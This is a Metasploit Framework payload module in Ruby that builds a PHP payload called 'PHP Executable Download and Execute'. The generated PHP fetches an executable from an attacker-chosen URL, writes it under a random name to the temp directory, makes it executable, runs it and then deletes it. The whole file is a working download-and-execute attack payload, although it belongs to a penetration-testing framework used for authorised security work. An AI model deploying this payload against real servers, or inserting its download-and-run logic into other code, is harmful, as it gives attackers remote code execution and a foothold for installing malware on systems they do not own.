PHP Executable Download and Execute

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


module MetasploitModule

  CachedSize = :dynamic

  include Msf::Payload::Php
  include Msf::Payload::Single

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'PHP Executable Download and Execute',
      'Description'   => 'Download an EXE from an HTTP URL and execute it',
      'Author'        => [ 'egypt' ],
      'License'       => BSD_LICENSE,
      'Platform'      => 'php',
      'Arch'          => ARCH_PHP,
      'Privileged'    => false
      ))

    # EXITFUNC is not supported :/
    deregister_options('EXITFUNC')

    # Register command execution options
    register_options(
      [
        OptString.new('URL', [ true, "The pre-encoded URL to the executable" ])
      ])
  end

  def php_exec_file
    exename = Rex::Text.rand_text_alpha(rand(8) + 4)
    dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
    shell = <<-END_OF_PHP_CODE
    #{php_preamble(disabled_varname: dis)}
    if (!function_exists('sys_get_temp_dir')) {
      function sys_get_temp_dir() {
        if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); }
        if (!empty($_ENV['TMPDIR'])) { return realpath($_ENV['TMPDIR']); }
        if (!empty($_ENV['TEMP'])) { return realpath($_ENV['TEMP']); }
        $tempfile=tempnam(uniqid(rand(),TRUE),'');
        if (file_exists($tempfile)) {
          @unlink($tempfile);
          return realpath(dirname($tempfile));
        }
        return null;
      }
    }
    $fname = sys_get_temp_dir() . DIRECTORY_SEPARATOR . "#{exename}.exe";
    $fd_in = fopen("#{datastore['URL']}", "rb");
    if ($fd_in === false) { die(); }
    $fd_out = fopen($fname, "wb");
    if ($fd_out === false) { die(); }
    while (!feof($fd_in)) {
      fwrite($fd_out, fread($fd_in, 8192));
    }
    fclose($fd_in);
    fclose($fd_out);
    chmod($fname, 0777);
    $c = $fname;
    #{php_system_block(cmd_varname: "$c", disabled_varnam: dis)}
    @unlink($fname);
    END_OF_PHP_CODE

    #return Rex::Text.compress(shell)
    return shell
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    return php_exec_file
  end
end